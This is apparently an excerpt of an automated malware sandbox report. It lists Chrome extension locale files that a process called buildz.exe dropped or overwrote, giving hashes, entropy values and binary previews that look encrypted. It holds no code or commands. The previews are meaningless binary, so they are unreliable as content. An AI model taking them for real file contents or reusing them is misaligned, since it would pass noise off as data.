Preview:	{"cre.W...)0...bFY.....1:..a.5w..y.B..(7.......\|!.n/o..:2.;B....$.Q....ky......u......-.k_.....OOL...Ezq..........w.?..2/....P.)a&.......).b.)2.......=....,^.p+U..f..p.>......-....z.K.'.4._..}.5..X.MF...J}K.l}.Y..Q.]..(...Q2...........\|.....X.R#QZ5....M...[a_....S.7]...7.R.$..]9)...../h...fW.)}E .....F.j.z...f.o.V%..f....+U..N.}b.N.Mv.%...]e@.Tz.UN.....C...F'(8;D.=X....>......$....Vu.m/g..o.k...i.>.N!.....g..6E..%...../B..J7X..."N.W.89<.h._....<...F.v;.:T......W.eK..>..5...PuY...nB`,.Vy8.\0J.i....w.nt'..!....i.7.......n...w@.n.~8...`....}.).]c....[Z!4.....)1.be .`...u...S...q;...c0H......9..NN[D....v...N.I..Wg'.s\.....9.Y.S.dI].~........k..D.;H..~.}....$.bi....$.....L.a...\|.)e...d.\|.D.7.o..8.T...by..sT~.m.8...S1k.L.y.(R!8y..5..../0I..y.d.X.n%;?..FhV.p..80Y.k.y..$........m.[..3.kq8Z0g.s.t....j.~......y.?.:......^...N:.k.a./#..F.+bR....]...k.+.^......-u#.#^...Mb.$.C.2j.5..^MS...!.m."....AK/j..=.0.\.F./........O.f..DE{O..H5.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\nl\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	7.842240065306176
Encrypted:	false
SSDEEP:	24:WXsAqGaSVBDqpwpqE8t2iQ9MCkCVqC53WJkJw6lwLDWcjKBikFrtcPcyZFck39lv:WXgKAw/Z998C8A3Wx8w3WjBiU2PcArtZ
MD5:	36DE2E91A79CD55ACB9E79D9A52F7E8A
SHA1:	F6124171B0A118B77CAC89160D1B0794653EB48E
SHA-256:	74B0B2150D886AAB8D50F58BC99700E2C49D954B36D8840610071E774D36BA87
SHA-512:	2D25DB4E9333187586034D8606A0BE8E51F4A5ED1370DAEB72EE5E4B0D719D2480E40EF0D802AC1C634B6543EA794C95FF675A3BD3993C59F505319B89E712B8
Malicious:	false
Reputation:	unknown
Preview:	{.. y}.l.\|...F}n..N.!.)....I.b..2..4~n.._...@Ex..T...Mt.;6...q..}zy.F.E...=[.....Zlk...u..V_r./....S....HM...T.]. t.[..9.......8..@...6....Wj...j5)o...zZ........:..t...../e..F....9.....^.....5.....{..T.{X..3.-s..B.x.H4.H1...x$k...W..e..X/.l.N.\_>..n.v6.'v.n..q.h..U.KM.dEB.+O....q'..rI.?....4kj..~~7l.W\Ipg$....`....\|Q..!v....Z.\.....!.v.cP....D..K..T(...a.?w.....4'b........zU..?1,./1.1Gn..a? ....<...Y...K.y.Px....).s.C.0.,.\|.Y...+....d.I..h@(.i..m.....U.w....E.3...\..2..pTI.E4.Q.g..x ...!v3".+.z,..g..Z]..$...c.ji2....R@<.P....a.....K. +#.Q.[#..t7.OZ......\|dAA...W...hy.Y..)i....yr.e..F...>..t..K`..sD..x..".....n./...[yM..=4a^......A.6(...E...."A.....bIi)..Pd..E.....Z.......a..t.4..T#..Z.d(\|y2.@.S."....J.S...D.T.i...mu.m .%...PH....UX.y&s..O.FG...Is3~.a........A+._.3v.3.....C..G...T..H..D....{Kw......1.8B..+(Wpl.}a.9e.."...q..x7b.8.....s...=...w...@......\|^.....Q;.N...o..J.Y.k.w _.&.V............C......q.%l.K.`.A..p:.+..........r....:.5._5...y

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\no\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	7.827658886502044
Encrypted:	false
SSDEEP:	24:dyO6UT5C3ahhuiJ5e6lpIXrtbF7yBn0Uoakr7++CA2yy/WI6ubD:dy1UprJ86cbtZwn0Uo9rcWID
MD5:	AD1C197E60D51D3EA34A32670B5EF578
SHA1:	19C1DEB499E4B8B933473CCC5853CB5A75061BEA
SHA-256:	41EE26FC5C57CDFE8E52ADEA909539F6211CCF0B42B9052EAD4BF92CD4E82B1D
SHA-512:	CFFB49B157C0A5CAAD3E0E1CF9961B02FD63F506DD53F03F0DF29DDE940619D4D453C772A06E788A144B480880165B444B066F1DAD4AD51D54A61BC4DFC628FC
Malicious:	false
Reputation:	unknown
Preview:	{.. ..\.{.... ).R.(...\....&.g.J..E.,t+PU=.....zN...\|...~..G..E.,o.'.L..yb...dlX]..[..6....".b..#.j..u.....v:.[R...jS.(..~l......z..\|.I[...]...8...AA...r.. ......Hl_7\..o.O.....E....IN?h2W.R....P.G.H 1..QZ..>......@&........w2m...s..js...[y2.C.9.Sp..8....2WM;...+...Y...o..Z[;.......&..f'...[6o.B.......%Qy}.....i4....(.o......C..w...M..U.q.Yo.#..N.]ng..dt...X.qO......Qq% .....k...NQo...c.t.E+..X"..}..'a...c.~yo....f........jE<.?\|V$.x..I..(z(...]....-.,.{....'....!...]..E..5,........J}.+9i#z. ...e.:......<@.sK:jWxwG@o.8...5N.@..{`....k.4...QQ2N....+.....?..Or.+`.@...k..'Wq........O...FBo....O31....I........l.......J..} c..ujBZo.7T.....,#...N....X........H..d@?.G..l.[Pl~D...X.{c8y%. .".G\...'...u.3.X..[s...f.x@.X.Y.............pGV.HB.G.?..1,..5..D..0.......U......R/..\|K.v..}...e[....aD...K.j......D..4..@...{.&u.J%cw.9..-GP..hd.@..m..}.....&..L..&.#...B.(._...b.\.TK.g....bl<J....b%.Ji.p.)..V-...,.b..u.^N.h.f..q.<...hd.Nw.5

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pa\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3100
Entropy (8bit):	7.937127492698619
Encrypted:	false
SSDEEP:	96:aDjODFouRIW6pzi/ZpxtJpgvdT1aGv0SSt0gwXi:ij+hRIHNi/ZjTGvlS0Xi
MD5:	1D21D92BC585771DA93FCA7A56ADA361
SHA1:	91D6FA2919E795AC1F135B8D02F7760B036C868A
SHA-256:	1A489705139BFE0C4233C04BB9BFE8FEB9E2E75322409ECBBA6EA39F1B420B27
SHA-512:	98F52178DC37F2D59758A22B6F4C405FAAB66F5C6DFABB2FA8973B98BA9758981558AF1B7299F6B827279C0E9AAD5C01BCA6E873DBFA403F20FB7335FCCE721A
Malicious:	false
Reputation:	unknown
Preview:	{"cre...T...7.U\|....).0LM.~..t.\;.p....n.V.gy....u....BI..l.......]....%`.....9....'.r....:.8....Z\..t.]...X.J.vLl......c.uoZD.....1C..V...r!..).w[FD.b..\|X..t.?..".Rs#4V....P.mk.d.......s.r..>..R..#Qa.....x...L"...m.....<.Z..j$J.m.K-..}4....:...h'B9..a.....M.......f......\%......,....nB2!T...e....\|.)%....ls@c...s..V......3 ..D....R.Z.+.B8_/...7.....&....../.!.,..s...%....h.....6Y'~,.PC.}.`.....#.U..b+C..<..././..f..Y......3X.b..../....f..T...xd$9.1.....'d.am....<..A.X..zC:h\.D>..J.7.bQ...E.."_eH..h......t*....W.C6....E.........W...xx....1n.1.Ypp/\|.!.\7..~A......qQX....t..B..P..cL.l.R.X...B.~l..&..W......M.M..8M.\|}g.4t&..2..<Y..i.....M...v.mN..P%...}..,W]..Q....k.........g.<.........q(...D..9....f.....<.Kj...^../.p.r....OK...........R=...r.f.I..........q..J..EE..<.4..;#.7t...pIs..~..Z.t.\|B.X.P..)ey...5u]-.8)...(!....\|.P{#..H]...V&W...y.[....vN..A3..o[l#.u._B.d..~.\...31...}.x.F..\|.R...".kZJC......6dz...;.Mds;<...z.Q.y.j#...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pl\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1312
Entropy (8bit):	7.846013732833718
Encrypted:	false
SSDEEP:	24:938VqcKeXGp0zH8mduMxl9M2t0u1O6NJ2tiSxr6f7nkQzGPkObD:9UuqHakpr/X2knk4G8sD
MD5:	CE0DCB152D189F7379E45AA27ECDBB88
SHA1:	67D9FB0DA484E31E5057A4A82A6A488F16EA1575
SHA-256:	72BD05E98A080A234A11BB43011A32C5ECAED9AE6FF94016D7EF5FB50EB434FB
SHA-512:	D522D9FDFFDD6FBBD62005FA778A1FCECE447CC0D93BB1014E3CB1775CFD6524FF21271001A9DE98260FBE0A9F970C7A023F6BCC645D40DAF10C9CCFE734FC52
Malicious:	false
Reputation:	unknown
Preview:	{.. .u.....bIGM....9\|..@0..O...b2...1.@c...b....n.Mf).3.a/.~ ....[....WP..4Kt4c_..]...Xg.wD.;..`{.....V.9..y}<....X.o...l..&..6.d%:9...d.n......zc.n..v.%.`e..+%..a.w..A...?Kr.,..UZ5$....H.G..E..op....%....Tv....%/p..u...=A.8n.........v#Lbp.....o.`..r.G-o...sEXY.{....C.@..\......w.X[M6~.2.W<'.g{ov+...A......D$.. Zs.W.R'.3...>s.G...2F.. W.........3.i.#'........&.x..+...Y..M..[I@.#.........N/...u...N+.YM.O.IDe.......O.5.O.w.-:...yb.9L.o\|..W.?..S(..gK.X@`......`..k.".x ...9........_._.bPw;.j.rsf.6.^1.....u.X......<t..]>..0p.......!...KtJ..2"PBB....8.....6..O.^.V}...F...kd...........@w.~J.D..s._....j....n.$YSX.....W.d...t.]Y.g>Q.....=.W.Qu6(V.Ec.1...O.%G.Rj......W........<...>.N,i.K.....:....MP.."DRbcE..@.y<...^.tL.....@.......a....{.J.o..?kK.1i.S......f....i.Ug.........c...G..4f...-....HL....T..........n...uB-......I..7..^l......_b."......:^b.8....r.1..*~i.0h".....H..T.......Kj..z`=p)....n....QTQJ.....?J.k3l...~g......R../^.k....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_BR\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1241
Entropy (8bit):	7.828766126792502
Encrypted:	false
SSDEEP:	24:5BDH6jhNxMuC7JtF1QcyWZ/kIpM8xaSC4LbD:5BujraDM88t4vD
MD5:	7581B121589CE3E9EC2299EBC54414FB
SHA1:	69E582CC4A885B1A755772AFCE62D71A738DCD1F
SHA-256:	8BA9D7EAF2DFD20EBA3DBE6ABFBA0619125DE7109419469915C4C97540467985
SHA-512:	002AF0FFFF6F659273AEDC53AE5645CA09B9BE0F9859DDB6A9AB00C92CC290B3A8C7778AAA544094BC945869705FEF11E0479F2399D7D27D7288BBC0F9FC6ECE
Malicious:	false
Reputation:	unknown
Preview:	{.. .>6A.h.......0.....X.D>.e.$.....ZB`m.I0..:h.Q.'....\.i...6H....{k:+.hh.#..H....ipa.!D...s...5!.p.RH.Dp..R..k.LC...w,..~\...6M'o..<Y....{7K...\|.../....J[~D.B\.N..q{..R..N_..{d ..]....(d....dM.h...U.{..g..N}.be......C.x[?..(...__....k.`. ..r;...O..J.0u../j.Rm...e..W.yO^.......?f.N.:...##8.^V.Mm.o1+:....d..eP..MP.?.g..h.\.....RpS..7D.K\4...?J....A{@E..I..<.nCQ.,.....T](o+..g...c U...19J.-.F...7.<....V..5..ls..$............z..{..k..I..Lr..-..A8..T..Z....XP.-&...P.....eV.....6.........,.h[..I.J......N'.^.AV.s...#..dG \<k....Y.>.. ?..E..W....:.>.s>..n.....`.....[.Q...........S..99f.R!..L.).=F..O....G<..f..(.....(va.....zE.\....,......A.F.d.\|...}#}..,U....05_i.....K.;:..N.C!W....-.zu...@Ml..o{.+X.....-...h..83.Z....S.ym~1(......R.. ..#.#.A..j%.d....(.L.............Ak......R.?.oQ.r..../Z^......l.or..mT.a...T._.{...91_....>..+.s..Y..\|...\|..H...%.R.....\...=e.SVJ..s..E@.c. ?rE...5.....#...k..bf...Z....L"m\`u..+..>;Z.5..r..\........^.4.U

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_PT\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	7.853568787600757
Encrypted:	false
SSDEEP:	24:ZOvnNx2BiwNTLxWNrsuFEwyjHqef7FcA39IkSBuuZzYXXMR59bD:AfT6iYLxWyuKw+cAacupYXyLD
MD5:	A8969FFD2D52475B5709CDF83788CFDD
SHA1:	4604F8582670E1E3970E1C6730FDD8520C4D5AB3
SHA-256:	429C6FD0700D895E9FFC37B59EFFDB52CA9B81D879D45C012B244CE60499CF32
SHA-512:	663333AC3F22F241DB33F218E4DB59AA44BFB19F4249DBFD9EE634362C2CBFF431FF2A82B7F9D6CE7524FAA75EE6D2001ECB8B28411F95232E0F956F6AB3384C
Malicious:	false
Reputation:	unknown
Preview:	{.. ..l.=6;....gU..y.s.W..C.drG..O.F.V....'....F..x.}z.s.+.G\....j.........N.....?.\|.Nm..2.G0.2..e....$!Bd......[.o..."..;...2..n./.\[.ao?..L...]C.<..[0...."F.h..-Z.."..tBQ.tSe..`.4...dG.....$.}....4...gf.K...>.....6._..E.~....j;...H........Gd.\|.4.....]{.'.l.o=......iaC..k........}.d.8..bC.....G...........,h.....O..`:.....z.zq.d.....]v..m.......X.Y.<tE..T....d.8.,..^..c. F..W...."..kai...rb/.?..Ab"..}.(.pv..-...z...D..... .).^.)..q.=O..Nxd....Y..6[n.4#A=...E..oEo%.NS...C....}....^<...3=...E. ..G..~..v.q..}.~#.&....n.t.[8....E..h........y..I.s....=4w.E.L.M1..Z..T..d.}k.n....m....C6.".v.....Kn..........7./...m..c.pc....N.M......n..N>3j.....:..q....m.a.4Kq..`...3...h...........n..0E^...<A}.H^KZz.Rz.....:Cf.. O....?.d'..8.:0.P....'....l......c...............m.F.e1b........7."1F......n...D...e.....?....K.x........C.....8(.)v...O...P.L...w..e......\).f72.%....R...lA.xd..A.........\..kwi.@ L.r...Ab@.....:....e{.....(F.. /..X....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ro\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1271
Entropy (8bit):	7.846020016322864
Encrypted:	false
SSDEEP:	24:d2gEdOzxmccf19qKTdFNVjvyQ7AZjObbJqg4/OqqlybD:oZjffvPXjvyQ7As4R2iD
MD5:	C33ACEB25D22580651CD92D773768BE7
SHA1:	5494FF57AFC5BEF23AC23B3571D35B6C2C32385A
SHA-256:	CACA111DAF35E040E130649C1277CF3F7F99C474228504CBC09670AA1FF06E49
SHA-512:	9AE966EDFFC8ED36FAFF800C76B2AB9F266091D2F41FDC2EA5B38256BBE430161E5C99A679E059B28948ADC0FB773A6FFE874A06099FBD7EA04A931881F9EDA1
Malicious:	false
Reputation:	unknown
Preview:	{.. .. ....)...q...!\|........a.L&...)...)h.3..r.$......O..M.40......(}.!k..-...-._P..,..c.x..1.......R!.....u...1....Z.UlO....;.RK.&.@'D.0rJ.7X...E....`..DW....U.....>..\|.z........t..rd..&....K.E.../'4...........XG2.._Hy....Z."..6.E.k......5+x..%.,.&4@..k..\|.-CM%.r....567.v..\|..cK..:.x@.../..2..CE.f1zq..pDJ...%.2..2..h.N..t2...vog.uDPK...<.e.. l.A...........,.k.TC..y....B..o.UDr.........\|.$...)...+..WD..bOe....b.KE$.<..]..K.+...J.}u..K/m0]eqvi.....#...,.Sh.A.P...E..~....$........C..D.../..r..`.P...+...g.&mhT0...4.}.g.."...X....n....=..i..bv...S.0....2!. ...BJ@V..Fv.x"..........."...P^.W.E.(s.....au.VA....dP..@...2... %W..z' .dO"SD...B.C.f..7.I..~t%.7<5q%.qV.=..GR.D..D,...#N....$..x.)Q...l.b.....a.+c>.7..st....$.-...A.@.KO..B..sU2...bs...O......$..0.n<.FF...t...>Sp..b..............I.$\.X]QF..6...k6.5..yX.....\|.@.....{1..Gx...K.........@..zd.UX?....(.w~.......I.......0x...Nm....A....=...S...3..Ua.*h .F...K.oqm..i.S......l.....e...0[.+j......U

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ru\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	GeoSwath RDF
Category:	dropped
Size (bytes):	1671
Entropy (8bit):	7.874276031200886
Encrypted:	false
SSDEEP:	24:xSgJavFVVMCmqx5+WAadSUWYc4XB10BZgdMl8xxxWqidTMaO05llyBkljlOllbD:80a8gSUWYH2ZgDlZidga7lyBPvD
MD5:	DF408830AE4DD61FB6B1A0141841EE88
SHA1:	FCFDD5709424D1F21B6A78A84452366F5E5E82C5
SHA-256:	A404F8190E9B443A7527378C0A9E6E6CDB984548D0AD4BCF9FE136615C5D9DF9
SHA-512:	FC178B2120F6E4CD7200DDBA74DD134AA8F0878A1DAC6C9DB12415C6FB152DAB0FCDCF66463C340184BF0C5773E6D65555D03A7102AC38DC2A553CFBE2AD3B86
Malicious:	false
Reputation:	unknown
Preview:	{.. .. ....8W...u~.U...A.......'U....{ec..tq9#.8'#.4(.=.0mc.).s....-....:../.".[.z.\|EF8%;u.....wD....V[.._..+0m.....n...#.$.B.".EVa..{.!S. FY...Y.4...}M..>..:pr...\GDX.=n...1iG<.......M...{......t....n\|.\|.%..}....$.Zu{{N...!X.h%.fu....9.(....)4DF.(O....Cj.\Ea..........z%.X.O.."8n.{.....prA..?.3.....N?p5.P.."h..T..iL...@0...m.qt.........l.N.a.}1!.....lC..A...f.3...@3...x.<qu'z.[!..qH...\..%...].ap.<.d.IId.1......f.9..o?.'..s......."Jg.K.......{..~..U,=... .v.H....>q...8.o<)....S...H.. ...0,...cVZ...i......~.>..A../_..!.!LR.l.....`..!}w.<.I%...=A...92.E..\..}.$.8. .3$9%.I .#..EA.!N.r..y.[`...4^.L_.U.......\W2..........+\|...^V..0\|<.....~..NAj.B/1.....78+.e(.a4....2.>.......7g..4c..>(...l...#.-.EI..9.c....2O)q'..ot.S..U.....Zl....@./..~..B.v8...8s.}.LX!..T..R....4}....g){...S.>6G..T..A.7......y...\| %.&?W..t..G.s9.%AP..y\.G...7..kH].6...{.(.....@S.>.%..c?u..../...hO.IX..nt.O..cc.z....'. U..cTM.E.`.Y.......U..V.t..;...L..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\si\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3180
Entropy (8bit):	7.944587522245672
Encrypted:	false
SSDEEP:	96:o2qiiWtCPtD3jyjAKpZPeh2+DZiH4Fgj1uZ:NHsx3RKpZWDoPjMZ
MD5:	BEA04ADF94A28E85FF1CF3177687CF65
SHA1:	BD42B786A8FE3CAAD72EC79496C4CA1B943BDB43
SHA-256:	2FCCC2F97CD0D54FB10759497BE0A64F256D9C606D41347F77676D04DF93FDE9
SHA-512:	A79E978BFEE765B2AB7388BB98214836E19D5CC44598A5A7DAE59690F496210EBE761DA605AC00D6E739FBCC297B288221055D5442F2BD5682250D664D6D76A0
Malicious:	false
Reputation:	unknown
Preview:	{"cre(.w...Tx...I..{s...t.3XWwB.o...xr.n....'S.kY!...G.....`..c..41../^.#O..m. g1.;..-....~..!NJ.CeI\....UJ1...S.N.....p.4..F.X..p.=.M+....Xq.TT.<...%..r6WU.#M.}@....=i....2........d...--.f5']q#.......E?....M..0\|V..@u..T..dI...2..l+......c.,.>r.y.$...B&.e..^.,F..F,.`.o..k..+.....N}{..9..y....\."{8..Y..%.o.`.....zu..ax.j^%NM..#....c....ugA..\|.......4..}...6\E....<.......d6Jf.......W.Eu.u...QKyA.....`..<`.g.3I....RF...2....0.>..W.g.9'.....\|..!.y....@.i...3....a ?.Rq....Y..I+w..gv.....H.3/.%..q8aQ..k.D .'.;.G, 4...n....r.=..U.5.&.x. ~n`.jT.O.m.:.......o...T%...f;.^..H.9X.FYvC%.....`..sZ....biZ7}..!z..;...;.u"iY...(..1Zn.%..z..=....^gx....$.......u....K.X.}!...o.j.o..+..x......rX.N.`..l.....1.]?}a..~.....:Y..B5<].t..G...I.Sn)..%..G.:K..G.e...F..G=~......cTF....6~CY.d.&.k..)P.Y...e...'...s...._...[C..%.[..h.T.}zt..S.x.#.....\|.........b......`./.j.]yypP...P.A.oF...:.......2S?1.CV...r.....Bj2C.-.%..2:.y}'....t.lCN....} -k.....&.;.t9........>...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sk\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.828691749570408
Encrypted:	false
SSDEEP:	24:VZjNrY/kwTPJeKzFrDhAcL9VZoxxkPg6KSskTwcgXmObD:/yHeg1hAcpsx2akTw2sD
MD5:	9D7F20D022E1F5AF50238567F77870C6
SHA1:	68BC3A4F9BD5E8352EA3170678FAC1DAFF0FBD6B
SHA-256:	9AF948A261F5115E8BD7F680C36BE3617B4305E06A1819149D98F35AA299491F
SHA-512:	A7006C602D04DBE8D3913A21D2457A71DE6030672ECD3A5FBB7BE7BC4EF5177A4B67C44BF17BB0BBB43773523ADBB6F37D6E49A166502CF06DE30560D9540EA3
Malicious:	false
Reputation:	unknown
Preview:	{.. ..O..c6...)...].,{.5.T.K0.P..%.?...ZQ.}G....ob...&..Ge.../....G...0.......Z...+......`.F...{.4".8/.4....`......Y.....qB.T.,.dX.Dv."...9nb.Ok.Ash?..F.t..[)+"......R.Pc.....9K.e.A.<L.&y]......4.k.....;...D....f.k..........Q4...:........~.7....@...g...0'j...6..#..M.YZ...!..i...:.6..0........M.......xQ.L...x..Bvn.....b.. ...C.5.{c..._.w..Fo.'...A...4'Y.5m.....5z(.n3./M......1....T4......$...WO....<fS6M....#P...:...?.5h.s+..S......KX.....t@]0..._....U..8..U>l@74.....O..T...0..r..)4Q$P,..,..<v]..f.p.&..X...@.wI.K.T..1m9.p2............(.P..?....:.n.\|U.........:$.v....V..:(...B....s.&....<.xowY.U........S..iP.".:n2:...e....Do%K..j.qV....Z......;u&..i..A8..,.uc...O..1/..u.....>.g..q...0..i..1\|.......(.Z... .\|.....8sUg#.\j.."..3......z.S.H.....(....N.F..o.bDR.=...1..?)..~.%.......^?.h+,$...n",....X..v.m..P...5y..>#..L.....Q.+.}n.rr\f....V.;U9.ZB..Hcl....6x6..C..7G.Z._C.$.N.I.m#D._.Q...doM~'..D/....y.ZS6.K....U....~....$......S.c.t..A

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sl\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	7.860052941928537
Encrypted:	false
SSDEEP:	24:3St9P80p/9k6BDWFGp0RcplqTGqCCb3Nd2w1ZIyNoWzl/cQ4aKYGbGkWCXATEX9v:Ct98XsDiGqWhqF3n2QvoWR/lGzfdXypu
MD5:	50B269F9CDE8EC296168C74A4D25094A
SHA1:	E5EF1A2F6706261EC1059CBD306F902E4BF31AD8
SHA-256:	A0AF4C3ED8F497162693FC23566960699CF9F84B607FCA81AF03180070EB931D
SHA-512:	B7EB323168E914DF86C5B8A0CA96057EAD247CCF937FA5CB77F21A9E643AF21C0BB7E5243E0CA54B25B82AA8871839A65B75C72C8951F6BEA52077ABE6078250
Malicious:	false
Reputation:	unknown
Preview:	{.. .-..H..zmU.a+x..s.J.....N(+.u..J.....\|..#.H.81...=L....6.-..}..<W.4......=.Z....~5..^nu.?j.".;.~Y..gM+O.....)Cer\.......>.....!Hy...Q6K.._.>.?.eYVc.eF..^I.\|..<0........q...!:.......S.P....i8.K.J...).L.......a.qD$[=G...n=.Jq..........\%....!Xr...[q..`a...Z&/.d..Z.N.F...oV1].eg........@...y..m!...Y9\.!..DT...[H0..}^.r......'....w\|.......<Y>.~.A.\..=..m..5...b;&..H.-..R.R.)9..........-.`.(r\|#....{....tl...2b...H7...=..JTEx...mPP.Bi....f...^........x..!pWO..#.6.Z.!.m...U.f.. .....8z..A......#..4....v.......)AB....lDS.D.N2.V./.f=Ff.j.r.Y.U.s8.t:F.6.x....8X..'...TSR.(%......V.Dj......F..0..l...6.....ru......Zr..+...z.m&...'>p...E$Rp7..Uf.k..~gOS..6K'.......mp...&.......Tb...@.Q.....q>a..m...x.}?6].X......aSq...0...m@j..=X&..mo..Y.v:...{.....3......./.!z.=y......Bh(. ...?o..Fb..3y..w5.gJ,(}ZH...+I.q...)....G............z....Ax2ZA. ....__.%......1.G@S....(...Z.9....A.8f./...~.Z.........zY....].Pr.V...3..T..7...\....j.jA...&..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1654
Entropy (8bit):	7.884596863936631
Encrypted:	false
SSDEEP:	24:dApsG/2equm/lIaChjmOmrQK+sMRXlPYOC5+piYuh9FtDxm1cOVCdjAbD:+psUTRmjCh6OkkRpJC5wmRt81cjdWD
MD5:	F2C7D80B3893CCEFA5702A0CEA7FCA57
SHA1:	B600AFD371B6DEF8296EC1CEBC42D6CE1F9E4948
SHA-256:	B43D00CE339FDB6164AE53087B060F7CF187F3EE91BC1A2B664EC4961E707F89
SHA-512:	2AA000621CF4C005A2B593BDE5CF9CAFD5FD8FB3D6DF3D3E4225E6FCD5EFD9A3BAA9BED9FA4A4035F281B19790823994F5062BA303FF5B8CA1D52081CF07F1D2
Malicious:	false
Reputation:	unknown
Preview:	{.. ...)\|.......Z....XR.Z..zkX..Vg..9jT......Y.Ct.>.9...1..sxu..V\._........T.1.R^.x...X....4Cz6D.\|B.i..L +{.........OV.%'.toNu{F.CU.lW~.s.>F=c.Rl...../n.......J...[$.....h..../.>..O......%.K......>......E.W...D...Fb..Z..l..B.....]........>#c.~Y....E.........ch.........C>....r.k...R.lvXk..u.3..L... F...A.,X..:.2...[.4W..TR.jpO.F@WmD....~...U..XF(.......i.,..R.R..j)....;G.5.!.....f.....B~...@B..S<7i.{..-..\|$.)O.<.....P..k..$.n. _.........4..>..{ .x.(...R...Z.c....u..,....oW.x.K.P..e5.. :C.L.:...a^..[G;...b......3.p...m.(..?.0o..4..UJq.......s...h..yb.......(....n...........o.........N.....:t............../K..&.\.`......R.!.....}.q.{"B...".....5.T.T..R...b.l..es..'=.<........;9..t...^[.Q[..F.`....-.n...Ut....C...{.2oH..w.U.$...0....I..uN+...<a.g...Y.d.H..>...?.A_i&:.v@.w.`.......X..$...hP......T....XaQ...x..L.....E\|..K..L.e=".y....S>ql.....>........'...Y.=[U..`.........e........>..;JWIo./.g.JG_..E..V.....u..<.....7.9...E..(.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sv\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	7.83481776340458
Encrypted:	false
SSDEEP:	24:z6D+q7r6toC+eBnZ8juqI1YkXMxj6x2/TNIBmneIDhFzbD:z66qv6t+esjugkcUxiS+DhtD
MD5:	A8CCCBFB908A5871C025CC2F16CC9DDA
SHA1:	CCA74965A59E026D0847A418B54D34B46E60247B
SHA-256:	8AC40992CC5F245577063664B90B6132DD7F8756D7FFD9898172CE51A47F7445
SHA-512:	0FEDB4432D552C9738892334B87056828E02A961D837BB6C6FE386D4831B37A4874A2BA2B1CB0C77D9B06C1C5DAE32E42235C07849A7741743F52AEEA282620E
Malicious:	false
Reputation:	unknown
Preview:	{.. IdQe.]6.b`..`..>..).H_.......y....!ZQ<...f..l......._...q=1..@\|.%............2.-...^..j..Z..Bk.q.....Z...R..(.>.6'.......K.H...v..L..]..7I}?\|<<.4...G40zp#......L.Q.8.J\|..7....R.\....2...&..J.c.w#.?.E.G.Y?X....q..A.....L"3.r....&p..J........F....9.....I..".....~..`u.".}8...?...\|1..d.......XP.Y.8.......rpI&....YW......m.h?...U..:..a!.#c..h.>T..u.^..5.M4..........aU........p...Z~.....D(.U+.......H.ygV}....).}..TJ.-x._Y....?.H.p4........8:..5.o..F..0.O#Z...p..;6..~9."...a:L.Q...y.+Y..(..Cd....b.'.,.5g.&.j...../.f.](n.rpo...R..^........H.......n..p.W.. T.\..o0A.^.....@N.`...7.u....P....o...U.+8<......y.G..J-.........>L9O...x9..]c8....-.L.s.U.....<.\|..%.8_!.<...g.3fM.T5..b..8......].}.&w...+c...&.[. .._T..8....{..uQ..w33,..`SI(..M.d...S.hs..J/..u.V{.o.v........#.qx...Z...V=...L4......[...4...F]BJ..5.....S..Q....).d...&U ..........2.hi.v......F9.V...d..Vb....-8....Tm~..+.D...M.Mc....b.Y\.....Ye..YQ.N$g.J6.r..a.....5.B.E.M

